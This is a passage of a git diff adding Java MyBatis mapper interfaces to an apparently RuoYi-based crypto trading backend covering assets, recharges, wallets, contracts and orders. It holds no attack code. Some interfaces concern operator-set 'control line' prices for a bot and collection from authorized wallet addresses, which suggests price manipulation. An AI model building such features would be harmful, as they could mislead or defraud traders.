+1,72 @@ +package com.ruoyi.bussiness.mapper; +import com.baomidou.mybatisplus.core.mapper.BaseMapper; + +import java.math.BigDecimal; +import java.util.List; +import java.util.Map; + +import com.ruoyi.bussiness.domain.TAgentActivityInfo; +import com.ruoyi.bussiness.domain.vo.TAgentActivityInfoVo; + +/** + * 返利活动明细Mapper接口 + * + * @author ruoyi + * @date 2023-07-06 + */ +public interface TAgentActivityInfoMapper extends BaseMapper +{ + /** + * 查询返利活动明细 + * + * @param id 返利活动明细主键 + * @return 返利活动明细 + */ + public TAgentActivityInfo selectTAgentActivityInfoById(String id); + + /** + * 查询返利活动明细列表 + * + * @param tAgentActivityInfo 返利活动明细 + * @return 返利活动明细集合 + */ + public List selectTAgentActivityInfoList(TAgentActivityInfo tAgentActivityInfo); + + /** + * 新增返利活动明细 + * + * @param tAgentActivityInfo 返利活动明细 + * @return 结果 + */ + public int insertTAgentActivityInfo(TAgentActivityInfo tAgentActivityInfo); + + /** + * 修改返利活动明细 + * + * @param tAgentActivityInfo 返利活动明细 + * @return 结果 + */ + public int updateTAgentActivityInfo(TAgentActivityInfo tAgentActivityInfo); + + /** + * 删除返利活动明细 + * + * @param id 返利活动明细主键 + * @return 结果 + */ + public int deleteTAgentActivityInfoById(String id); + + /** + * 批量删除返利活动明细 + * + * @param ids 需要删除的数据主键集合 + * @return 结果 + */ + public int deleteTAgentActivityInfoByIds(String[] ids); + + int selectListByLeve(TAgentActivityInfo tAgentActivityInfo); + + BigDecimal selectAmountCountByUserId(TAgentActivityInfo tAgentActivityInfo); + + List getAgentList(TAgentActivityInfo tAgentActivityInfo); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TAppAddressInfoMapper.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TAppAddressInfoMapper.java new file mode 100644 index 0000000..6b1528c --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TAppAddressInfoMapper.java @@ -0,0 +1,65 @@ +package com.ruoyi.bussiness.mapper; +import com.baomidou.mybatisplus.core.mapper.BaseMapper; +import com.ruoyi.bussiness.domain.TAppAddressInfo; + +import java.util.List; + + +/** + * 钱包地址授权详情Mapper接口 + * + * @author ruoyi + * @date 2023-07-15 + */ +public interface TAppAddressInfoMapper extends BaseMapper +{ + /** + * 查询钱包地址授权详情 + * + * @param userId 钱包地址授权详情主键 + * @return 钱包地址授权详情 + */ + public TAppAddressInfo selectTAppAddressInfoByUserId(Long userId); + + /** + * 查询钱包地址授权详情列表 + * + * @param tAppAddressInfo 钱包地址授权详情 + * @return 钱包地址授权详情集合 + */ + public List selectTAppAddressInfoList(TAppAddressInfo tAppAddressInfo); + + /** + * 新增钱包地址授权详情 + * + * @param tAppAddressInfo 钱包地址授权详情 + * @return 结果 + */ + public int insertTAppAddressInfo(TAppAddressInfo tAppAddressInfo); + + /** + * 修改钱包地址授权详情 + * + * @param tAppAddressInfo 钱包地址授权详情 + * @return 结果 + */ + public int updateTAppAddressInfo(TAppAddressInfo tAppAddressInfo); + + /** + * 删除钱包地址授权详情 + * + * @param userId 钱包地址授权详情主键 + * @return 结果 + */ + public int deleteTAppAddressInfoByUserId(Long userId); + + /** + * 批量删除钱包地址授权详情 + * + * @param userIds 需要删除的数据主键集合 + * @return 结果 + */ + public int deleteTAppAddressInfoByUserIds(Long[] userIds); + + List getAllowedUser(); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TAppAssetMapper.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TAppAssetMapper.java new file mode 100644 index 0000000..2969dfc --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TAppAssetMapper.java @@ -0,0 +1,77 @@ +package com.ruoyi.bussiness.mapper; +import com.baomidou.mybatisplus.core.mapper.BaseMapper; +import java.util.List; +import java.util.Map; + +import com.baomidou.mybatisplus.core.mapper.BaseMapper; +import com.ruoyi.bussiness.domain.TAppAddressInfo; +import com.ruoyi.bussiness.domain.TAppAsset; + +/** + * 玩家资产Mapper接口 + * + * @author ruoyi + * @date 2023-06-30 + */ +public interface TAppAssetMapper extends BaseMapper +{ + /** + * 查询玩家资产 + * + * @param userId 玩家资产主键 + * @return 玩家资产 + */ + public TAppAsset selectTAppAssetByUserId(Long userId); + + /** + * 查询玩家资产列表 + * + * @param tAppAsset 玩家资产 + * @return 玩家资产集合 + */ + public List selectTAppAssetList(TAppAsset tAppAsset); + + /** + * 新增玩家资产 + * + * @param tAppAsset 玩家资产 + * @return 结果 + */ + public int insertTAppAsset(TAppAsset tAppAsset); + + /** + * 修改玩家资产 + * + * @param tAppAsset 玩家资产 + * @return 结果 + */ + public int updateTAppAsset(TAppAsset tAppAsset); + + /** + * 删除玩家资产 + * + * @param userId 玩家资产主键 + * @return 结果 + */ + public int deleteTAppAssetByUserId(Long userId); + + /** + * 批量删除玩家资产 + * + * @param userIds 需要删除的数据主键集合 + * @return 结果 + */ + public int deleteTAppAssetByUserIds(Long[] userIds); + + int updateByUserId(TAppAsset tAppAsset); + + int noSettlementAssetByUserId(Map params); + + int reduceAssetByUserId(Map params); + + int addAssetByUserId(Map params); + + int occupiedAssetByUserId(Map params); + + int settlementOccupiedCurrencyOrder(Map params); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TAppMailMapper.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TAppMailMapper.java new file mode 100644 index 0000000..ab17746 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TAppMailMapper.java @@ -0,0 +1,61 @@ +package com.ruoyi.bussiness.mapper; +import com.baomidou.mybatisplus.core.mapper.BaseMapper; +import java.util.List; +import com.ruoyi.bussiness.domain.TAppMail; + +/** + * 1v1站内信Mapper接口 + * + * @author ruoyi + * @date 2023-07-18 + */ +public interface TAppMailMapper extends BaseMapper +{ + /** + * 查询1v1站内信 + * + * @param id 1v1站内信主键 + * @return 1v1站内信 + */ + public TAppMail selectTAppMailById(Long id); + + /** + * 查询1v1站内信列表 + * + * @param tAppMail 1v1站内信 + * @return 1v1站内信集合 + */ + public List selectTAppMailList(TAppMail tAppMail); + + /** + * 新增1v1站内信 + * + * @param tAppMail 1v1站内信 + * @return 结果 + */ + public int insertTAppMail(TAppMail tAppMail); + + /** + * 修改1v1站内信 + * + * @param tAppMail 1v1站内信 + * @return 结果 + */ + public int updateTAppMail(TAppMail tAppMail); + + /** + * 删除1v1站内信 + * + * @param id 1v1站内信主键 + * @return 结果 + */ + public int deleteTAppMailById(Long id); + + /** + * 批量删除1v1站内信 + * + * @param ids 需要删除的数据主键集合 + * @return 结果 + */ + public int deleteTAppMailByIds(Long[] ids); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TAppRechargeMapper.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TAppRechargeMapper.java new file mode 100644 index 0000000..1e7c42b --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TAppRechargeMapper.java @@ -0,0 +1,81 @@ +package com.ruoyi.bussiness.mapper; + +import com.baomidou.mybatisplus.core.mapper.BaseMapper; + +import java.math.BigDecimal; +import java.util.List; +import java.util.Map; + +import com.ruoyi.bussiness.domain.TAppRecharge; +import org.apache.ibatis.annotations.Param; + +/** + * 用户充值Mapper接口 + * + * @author ruoyi + * @date 2023-07-04 + */ +public interface TAppRechargeMapper extends BaseMapper +{ + /** + * 查询用户充值 + * + * @param id 用户充值主键 + * @return 用户充值 + */ + public TAppRecharge selectTAppRechargeById(Long id); + + /** + * 查询用户充值列表 + * + * @param tAppRecharge 用户充值 + * @return 用户充值集合 + */ + public List selectTAppRechargeList(TAppRecharge tAppRecharge); + + /** + * 新增用户充值 + * + * @param tAppRecharge 用户充值 + * @return 结果 + */ + public int insertTAppRecharge(TAppRecharge tAppRecharge); + + /** + * 修改用户充值 + * + * @param tAppRecharge 用户充值 + * @return 结果 + */ + public int updateTAppRecharge(TAppRecharge tAppRecharge); + + /** + * 删除用户充值 + * + * @param id 用户充值主键 + * @return 结果 + */ + public int deleteTAppRechargeById(Long id); + + /** + * 批量删除用户充值 + * + * @param ids 需要删除的数据主键集合 + * @return 结果 + */ + public int deleteTAppRechargeByIds(Long[] ids); + + Map sumtotal(TAppRecharge tAppRecharge); + + List selectRechargeList(TAppRecharge tAppRecharge); + + void updateStatus(TAppRecharge recharge); + + List selectRechargeVoice(String parentId); + + BigDecimal getAllRecharge(@Param("parentId") String parentId, @Param("type") Integer type); + + List> getWeekRecharge(String parentId); + + List> getWeekFailedRecharge(String parentId); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TAppUserDetailMapper.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TAppUserDetailMapper.java new file mode 100644 index 0000000..b482458 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TAppUserDetailMapper.java @@ -0,0 +1,69 @@ +package com.ruoyi.bussiness.mapper; +import com.baomidou.mybatisplus.core.mapper.BaseMapper; +import com.ruoyi.bussiness.domain.TAppUserDetail; + +import java.util.List; + +/** + * 用户详细信息Mapper接口 + * + * @author ruoyi + * @date 2023-07-04 + */ +public interface TAppUserDetailMapper extends BaseMapper +{ + /** + * 查询用户详细信息 + * + * @param id 用户详细信息主键 + * @return 用户详细信息 + */ + public TAppUserDetail selectTAppUserDetailById(Long id); + public TAppUserDetail selectTAppUserDetailByUserId(Long id); + + /** + * 查询用户详细信息列表 + * + * @param tAppUserDetail 用户详细信息 + * @return 用户详细信息集合 + */ + public List selectTAppUserDetailList(TAppUserDetail tAppUserDetail); + + /** + * 新增用户详细信息 + * + * @param tAppUserDetail 用户详细信息 + * @return 结果 + */ + public int insertTAppUserDetail(TAppUserDetail tAppUserDetail); + + /** + * 修改用户详细信息 + * + * @param tAppUserDetail 用户详细信息 + * @return 结果 + */ + public int updateTAppUserDetail(TAppUserDetail tAppUserDetail); + + int resetAppUserRealMameStatus(TAppUserDetail userDetail); + /** + * 删除用户详细信息 + * + * @param id 用户详细信息主键 + * @return 结果 + */ + public int deleteTAppUserDetailById(Long id); + + /** + * 批量删除用户详细信息 + * + * @param ids 需要删除的数据主键集合 + * @return 结果 + */ + public int deleteTAppUserDetailByIds(Long[] ids); + + List selectTAppUserDetailLists(TAppUserDetail tAppUserDetail); + + List selectVerifiedVoice(String parentId); + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TAppUserMapper.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TAppUserMapper.java new file mode 100644 index 0000000..cb9ae27 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TAppUserMapper.java @@ -0,0 +1,82 @@ +package com.ruoyi.bussiness.mapper; +import com.baomidou.mybatisplus.core.mapper.BaseMapper; +import java.util.List; + +import com.ruoyi.bussiness.domain.TAppUser; +import org.apache.ibatis.annotations.Param; + +/** + * 玩家用户Mapper接口 + * + * @author ruoyi + * @date 2023-06-30 + */ +public interface TAppUserMapper extends BaseMapper +{ + /** + * 查询玩家用户 + * + * @param userId 玩家用户主键 + * @return 玩家用户 + */ + public TAppUser selectTAppUserByUserId(Long userId); + + /** + * 查询玩家用户列表 + * + * @param tAppUser 玩家用户 + * @return 玩家用户集合 + */ + public List selectTAppUserList(TAppUser tAppUser); + + /** + * 新增玩家用户 + * + * @param tAppUser 玩家用户 + * @return 结果 + */ + public int insertTAppUser(TAppUser tAppUser); + + /** + * 修改玩家用户 + * + * @param tAppUser 玩家用户 + * @return 结果 + */ + public int updateTAppUser(TAppUser tAppUser); + + /** + * 删除玩家用户 + * + * @param userId 玩家用户主键 + * @return 结果 + */ + public int deleteTAppUserByUserId(Long userId); + + /** + * 批量删除玩家用户 + * + * @param userIds 需要删除的数据主键集合 + * @return 结果 + */ + public int deleteTAppUserByUserIds(Long[] userIds); + + TAppUser selectByUserLoginName(String loginName); + + TAppUser selectByAddress(String address); + + List selectActiveCodeList(); + List selectUnboundAppUser(TAppUser tAppUser); + + int delUpdateByAdminUserId(Long adminUserId); + + List getTAppUserList(TAppUser tAppUser); + + int updateUserAppIds(@Param("appUserId") Long appUserId, @Param("adminParentIds") String adminParentIds); + + List getListByPledge(TAppUser tAppUser); + + int updateTotleAmont(TAppUser appUser); + + int updateRechargeAmont(TAppUser user); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TAppWalletRecordMapper.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TAppWalletRecordMapper.java new file mode 100644 index 0000000..d120928 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TAppWalletRecordMapper.java @@ -0,0 +1,81 @@ +package com.ruoyi.bussiness.mapper; +import com.baomidou.mybatisplus.core.mapper.BaseMapper; + +import java.math.BigDecimal; +import java.util.List; + +import com.ruoyi.bussiness.domain.TAppWalletRecord; +import com.ruoyi.bussiness.domain.vo.AgencyAppUserDataVo; +import com.ruoyi.bussiness.domain.vo.AgencyDataVo; +import com.ruoyi.bussiness.domain.vo.DailyDataVO; +import com.ruoyi.bussiness.domain.vo.UserDataVO; + +/** + * 用户信息Mapper接口 + * + * @author ruoyi + * @date 2023-07-04 + */ +public interface TAppWalletRecordMapper extends BaseMapper +{ + /** + * 查询用户信息 + * + * @param id 用户信息主键 + * @return 用户信息 + */ + public TAppWalletRecord selectTAppWalletRecordById(Long id); + + /** + * 查询用户信息列表 + * + * @param tAppWalletRecord 用户信息 + * @return 用户信息集合 + */ + public List selectTAppWalletRecordList(TAppWalletRecord tAppWalletRecord); + + /** + * 新增用户信息 + * + * @param tAppWalletRecord 用户信息 + * @return 结果 + */ + public int insertTAppWalletRecord(TAppWalletRecord tAppWalletRecord); + + /** + * 修改用户信息 + * + * @param tAppWalletRecord 用户信息 + * @return 结果 + */ + public int updateTAppWalletRecord(TAppWalletRecord tAppWalletRecord); + + /** + * 删除用户信息 + * + * @param id 用户信息主键 + * @return 结果 + */ + public int deleteTAppWalletRecordById(Long id); + + /** + * 批量删除用户信息 + * + * @param ids 需要删除的数据主键集合 + * @return 结果 + */ + public int deleteTAppWalletRecordByIds(Long[] ids); + + + List dailyData(TAppWalletRecord tAppWalletRecord); + + List selectUserDataList(TAppWalletRecord tAppWalletRecord); + + List selectAgencyList(TAppWalletRecord appWalletRecord); + + List selectAgencyAppUserList(TAppWalletRecord appWalletRecord); + + BigDecimal statisticsAmount(); + + BigDecimal getAllWithdrawOfUser(Long userId); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TAppuserLoginLogMapper.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TAppuserLoginLogMapper.java new file mode 100644 index 0000000..2e4e89c --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TAppuserLoginLogMapper.java @@ -0,0 +1,62 @@ +package com.ruoyi.bussiness.mapper; +import com.baomidou.mybatisplus.core.mapper.BaseMapper; +import java.util.List; + +import com.ruoyi.bussiness.domain.TAppuserLoginLog; + +/** + * 系统访问记录Mapper接口 + * + * @author ruoyi + * @date 2023-06-30 + */ +public interface TAppuserLoginLogMapper extends BaseMapper +{ + /** + * 查询系统访问记录 + * + * @param id 系统访问记录主键 + * @return 系统访问记录 + */ + public TAppuserLoginLog selectTAppuserLoginLogById(Long id); + + /** + * 查询系统访问记录列表 + * + * @param tAppuserLoginLog 系统访问记录 + * @return 系统访问记录集合 + */ + public List selectTAppuserLoginLogList(TAppuserLoginLog tAppuserLoginLog); + + /** + * 新增系统访问记录 + * + * @param tAppuserLoginLog 系统访问记录 + * @return 结果 + */ + public int insertTAppuserLoginLog(TAppuserLoginLog tAppuserLoginLog); + + /** + * 修改系统访问记录 + * + * @param tAppuserLoginLog 系统访问记录 + * @return 结果 + */ + public int updateTAppuserLoginLog(TAppuserLoginLog tAppuserLoginLog); + + /** + * 删除系统访问记录 + * + * @param id 系统访问记录主键 + * @return 结果 + */ + public int deleteTAppuserLoginLogById(Long id); + + /** + * 批量删除系统访问记录 + * + * @param ids 需要删除的数据主键集合 + * @return 结果 + */ + public int deleteTAppuserLoginLogByIds(Long[] ids); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TBotKlineModelInfoMapper.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TBotKlineModelInfoMapper.java new file mode 100644 index 0000000..0ef75f6 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TBotKlineModelInfoMapper.java @@ -0,0 +1,71 @@ +package com.ruoyi.bussiness.mapper; + +import cc.block.data.api.domain.market.Kline; +import com.baomidou.mybatisplus.core.mapper.BaseMapper; + +import java.util.List; +import java.util.Map; + +import com.ruoyi.bussiness.domain.TBotKlineModel; +import com.ruoyi.bussiness.domain.TBotKlineModelInfo; + +/** + * 控线详情Mapper接口 + * + * @author ruoyi + * @date 2023-08-09 + */ +public interface TBotKlineModelInfoMapper extends BaseMapper { + /** + * 查询控线详情 + * + * @param id 控线详情主键 + * @return 控线详情 + */ + public TBotKlineModelInfo selectTBotKlineModelInfoById(Long id); + + /** + * 查询控线详情列表 + * + * @param tBotKlineModelInfo 控线详情 + * @return 控线详情集合 + */ + public List selectTBotKlineModelInfoList(TBotKlineModelInfo tBotKlineModelInfo); + + /** + * 新增控线详情 + * + * @param tBotKlineModelInfo 控线详情 + * @return 结果 + */ + public int insertTBotKlineModelInfo(TBotKlineModelInfo tBotKlineModelInfo); + + /** + * 修改控线详情 + * + * @param tBotKlineModelInfo 控线详情 + * @return 结果 + */ + public int updateTBotKlineModelInfo(TBotKlineModelInfo tBotKlineModelInfo); + + /** + * 删除控线详情 + * + * @param id 控线详情主键 + * @return 结果 + */ + public int deleteTBotKlineModelInfoById(Long id); + + /** + * 批量删除控线详情 + * + * @param ids 需要删除的数据主键集合 + * @return 结果 + */ + public int deleteTBotKlineModelInfoByIds(Long[] ids); + + int insertModelInfo(List list); + + List selectBotLineList(Map map); + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TBotKlineModelMapper.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TBotKlineModelMapper.java new file mode 100644 index 0000000..c161179 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TBotKlineModelMapper.java @@ -0,0 +1,75 @@ +package com.ruoyi.bussiness.mapper; +import com.baomidou.mybatisplus.core.mapper.BaseMapper; + +import java.math.BigDecimal; +import java.util.Date; +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +import com.ruoyi.bussiness.domain.SymbolPrice; +import com.ruoyi.bussiness.domain.TBotKlineModel; + +/** + * 控线配置Mapper接口 + * + * @author ruoyi + * @date 2023-08-09 + */ +public interface TBotKlineModelMapper extends BaseMapper +{ + /** + * 查询控线配置 + * + * @param id 控线配置主键 + * @return 控线配置 + */ + public TBotKlineModel selectTBotKlineModelById(Long id); + + /** + * 查询控线配置列表 + * + * @param tBotKlineModel 控线配置 + * @return 控线配置集合 + */ + public List selectTBotKlineModelList(TBotKlineModel tBotKlineModel); + + /** + * 新增控线配置 + * + * @param tBotKlineModel 控线配置 + * @return 结果 + */ + public int insertTBotKlineModel(TBotKlineModel tBotKlineModel); + + /** + * 修改控线配置 + * + * @param tBotKlineModel 控线配置 + * @return 结果 + */ + public int updateTBotKlineModel(TBotKlineModel tBotKlineModel); + + /** + * 删除控线配置 + * + * @param id 控线配置主键 + * @return 结果 + */ + public int deleteTBotKlineModelById(Long id); + + /** + * 批量删除控线配置 + * + * @param ids 需要删除的数据主键集合 + * @return 结果 + */ + public int deleteTBotKlineModelByIds(Long[] ids); + + public List getBotModelListByTime(TBotKlineModel tBotKlineModel); + public List getBotModelPriceByTime(TBotKlineModel tBotKlineModel); + List getBotModelListBeforTime(TBotKlineModel tBotKlineModel); + List getBotModelListBySymbol(TBotKlineModel tBotKlineModel); + + List getyesterdayPrice(); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TCollectionOrderMapper.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TCollectionOrderMapper.java new file mode 100644 index 0000000..fa1b23a --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TCollectionOrderMapper.java @@ -0,0 +1,72 @@ +package com.ruoyi.bussiness.mapper; +import com.baomidou.mybatisplus.core.mapper.BaseMapper; + +import java.math.BigDecimal; +import java.util.List; +import com.ruoyi.bussiness.domain.TCollectionOrder; +import org.apache.ibatis.annotations.Param; + +/** + * 【请填写功能名称】Mapper接口 + * + * @author ruoyi + * @date 2023-09-08 + */ +public interface TCollectionOrderMapper extends BaseMapper +{ + /** + * 查询【请填写功能名称】 + * + * @param id 【请填写功能名称】主键 + * @return 【请填写功能名称】 + */ + public TCollectionOrder selectTCollectionOrderById(Long id); + + /** + * 查询【请填写功能名称】列表 + * + * @param tCollectionOrder 【请填写功能名称】 + * @return 【请填写功能名称】集合 + */ + public List selectTCollectionOrderList(TCollectionOrder tCollectionOrder); + + /** + * 新增【请填写功能名称】 + * + * @param tCollectionOrder 【请填写功能名称】 + * @return 结果 + */ + public int insertTCollectionOrder(TCollectionOrder tCollectionOrder); + + /** + * 修改【请填写功能名称】 + * + * @param tCollectionOrder 【请填写功能名称】 + * @return 结果 + */ + public int updateTCollectionOrder(TCollectionOrder tCollectionOrder); + + /** + * 删除【请填写功能名称】 + * + * @param id 【请填写功能名称】主键 + * @return 结果 + */ + public int deleteTCollectionOrderById(Long id); + + /** + * 批量删除【请填写功能名称】 + * + * @param ids 需要删除的数据主键集合 + * @return 结果 + */ + public int deleteTCollectionOrderByIds(Long[] ids); + + BigDecimal selectCollectionAmountByUserId(Long userId); + + BigDecimal selectCollectionAmountByAgencyId(Long agencyId); + + BigDecimal selectCollectionAmountDetail(@Param("appUserId") Long appUserId, @Param("adminParentIds")String adminParentIds); + + BigDecimal getDayCollectionAmount(@Param("beginTime")String beginTime, @Param("endTime")String endTime); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TContractCoinMapper.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TContractCoinMapper.java new file mode 100644 index 0000000..4ad1434 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TContractCoinMapper.java @@ -0,0 +1,64 @@ +package com.ruoyi.bussiness.mapper; + +import java.util.List; + +import com.baomidou.mybatisplus.core.mapper.BaseMapper; +import com.ruoyi.bussiness.domain.TContractCoin; +import com.ruoyi.bussiness.domain.TExchangeCoinRecord; + +/** + * U本位合约币种Mapper接口 + * + * @author michael + * @date 2023-07-20 + */ +public interface TContractCoinMapper extends BaseMapper +{ + /** + * 查询U本位合约币种 + * + * @param id U本位合约币种主键 + * @return U本位合约币种 + */ + public TContractCoin selectTContractCoinById(Long id); + + /** + * 查询U本位合约币种列表 + * + * @param tContractCoin U本位合约币种 + * @return U本位合约币种集合 + */ + public List selectTContractCoinList(TContractCoin tContractCoin); + + /** + * 新增U本位合约币种 + * + * @param tContractCoin U本位合约币种 + * @return 结果 + */ + public int insertTContractCoin(TContractCoin tContractCoin); + + /** + * 修改U本位合约币种 + * + * @param tContractCoin U本位合约币种 + * @return 结果 + */ + public int updateTContractCoin(TContractCoin tContractCoin); + + /** + * 删除U本位合约币种 + * + * @param id U本位合约币种主键 + * @return 结果 + */ + public int deleteTContractCoinById(Long id); + + /** + * 批量删除U本位合约币种 + * + * @param ids 需要删除的数据主键集合 + * @return 结果 + */ + public int deleteTContractCoinByIds(Long[] ids); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TContractLossMapper.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TContractLossMapper.java new file mode 100644 index 0000000..b00e09e --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TContractLossMapper.java @@ -0,0 +1,66 @@ +package com.ruoyi.bussiness.mapper; +import com.baomidou.mybatisplus.core.mapper.BaseMapper; +import java.util.List; +import com.ruoyi.bussiness.domain.TContractLoss; + +/** + * 止盈止损表Mapper接口 + * + * @author ruoyi + * @date 2023-07-25 + */ +public interface TContractLossMapper extends BaseMapper +{ + /** + * 查询止盈止损表 + * + * @param id 止盈止损表主键 + * @return 止盈止损表 + */ + public TContractLoss selectTContractLossById(Long id); + + /** + * 查询止盈止损表列表 + * + * @param tContractLoss 止盈止损表 + * @return 止盈止损表集合 + */ + public List selectTContractLossList(TContractLoss tContractLoss); + + /** + * 新增止盈止损表 + * + * @param tContractLoss 止盈止损表 + * @return 结果 + */ + public int insertTContractLoss(TContractLoss tContractLoss); + + /** + * 修改止盈止损表 + * + * @param tContractLoss 止盈止损表 + * @return 结果 + */ + public int updateTContractLoss(TContractLoss tContractLoss); + + /** + * 删除止盈止损表 + * + * @param id 止盈止损表主键 + * @return 结果 + */ + public int deleteTContractLossById(Long id); + + /** + * 批量删除止盈止损表 + * + * @param ids 需要删除的数据主键集合 + * @return 结果 + */ + public int deleteTContractLossByIds(Long[] ids); + + + void updateContractLoss(Long positionId); + + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TContractOrderMapper.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TContractOrderMapper.java new file mode 100644 index 0000000..49f5c33 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TContractOrderMapper.java @@ -0,0 +1,61 @@ +package com.ruoyi.bussiness.mapper; +import com.baomidou.mybatisplus.core.mapper.BaseMapper; +import java.util.List; +import com.ruoyi.bussiness.domain.TContractOrder; + +/** + * U本位委托Mapper接口 + * + * @author michael + * @date 2023-07-20 + */ +public interface TContractOrderMapper extends BaseMapper +{ + /** + * 查询U本位委托 + * + * @param id U本位委托主键 + * @return U本位委托 + */ + public TContractOrder selectTContractOrderById(Long id); + + /** + * 查询U本位委托列表 + * + * @param tContractOrder U本位委托 + * @return U本位委托集合 + */ + public List selectTContractOrderList(TContractOrder tContractOrder); + + /** + * 新增U本位委托 + * + * @param tContractOrder U本位委托 + * @return 结果 + */ + public int insertTContractOrder(TContractOrder tContractOrder); + + /** + * 修改U本位委托 + * + * @param tContractOrder U本位委托 + * @return 结果 + */ + public int updateTContractOrder(TContractOrder tContractOrder); + + /** + * 删除U本位委托 + * + * @param id U本位委托主键 + * @return 结果 + */ + public int deleteTContractOrderById(Long id); + + /** + * 批量删除U本位委托 + * + * @param ids 需要删除的数据主键集合 + * @return 结果 + */ + public int deleteTContractOrderByIds(Long[] ids); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TContractPositionMapper.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TContractPositionMapper.java new file mode 100644 index 0000000..f69821c --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TContractPositionMapper.java @@ -0,0 +1,61 @@ +package com.ruoyi.bussiness.mapper; +import com.baomidou.mybatisplus.core.mapper.BaseMapper; +import java.util.List; +import com.ruoyi.bussiness.domain.TContractPosition; + +/** + * U本位持仓表Mapper接口 + * + * @author michael + * @date 2023-07-20 + */ +public interface TContractPositionMapper extends BaseMapper +{ + /** + * 查询U本位持仓表 + * + * @param id U本位持仓表主键 + * @return U本位持仓表 + */ + public TContractPosition selectTContractPositionById(Long id); + + /** + * 查询U本位持仓表列表 + * + * @param tContractPosition U本位持仓表 + * @return U本位持仓表集合 + */ + public List selectTContractPositionList(TContractPosition tContractPosition); + + /** + * 新增U本位持仓表 + * + * @param tContractPosition U本位持仓表 + * @return 结果 + */ + public int insertTContractPosition(TContractPosition tContractPosition); + + /** + * 修改U本位持仓表 + * + * @param tContractPosition U本位持仓表 + * @return 结果 + */ + public int updateTContractPosition(TContractPosition tContractPosition); + + /** + * 删除U本位持仓表 + * + * @param id U本位持仓表主键 + * @return 结果 + */ + public int deleteTContractPositionById(Long id); + + /** + * 批量删除U本位持仓表 + * + * @param ids 需要删除的数据主键集合 + * @return 结果 + */ + public int deleteTContractPositionByIds(Long[] ids); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TCurrencyOrderMapper.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TCurrencyOrderMapper.java new file mode 100644 index 0000000..440e669 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TCurrencyOrderMapper.java @@ -0,0 +1,63 @@ +package com.ruoyi.bussiness.mapper; +import com.baomidou.mybatisplus.core.mapper.BaseMapper; +import java.util.List; +import com.ruoyi.bussiness.domain.TCurrencyOrder; + +/** + * 币币交易订单Mapper接口 + * + * @author ruoyi + * @date 2023-07-25 + */ +public interface TCurrencyOrderMapper extends BaseMapper +{ + /** + * 查询币币交易订单 + * + * @param id 币币交易订单主键 + * @return 币币交易订单 + */ + public TCurrencyOrder selectTCurrencyOrderById(Long id); + + /** + * 查询币币交易订单列表 + * + * @param tCurrencyOrder 币币交易订单 + * @return 币币交易订单集合 + */ + public List selectTCurrencyOrderList(TCurrencyOrder tCurrencyOrder); + + /** + * 新增币币交易订单 + * + * @param tCurrencyOrder 币币交易订单 + * @return 结果 + */ + public int insertTCurrencyOrder(TCurrencyOrder tCurrencyOrder); + + /** + * 修改币币交易订单 + * + * @param tCurrencyOrder 币币交易订单 + * @return 结果 + */ + public int updateTCurrencyOrder(TCurrencyOrder tCurrencyOrder); + + /** + * 删除币币交易订单 + * + * @param id 币币交易订单主键 + * @return 结果 + */ + public int 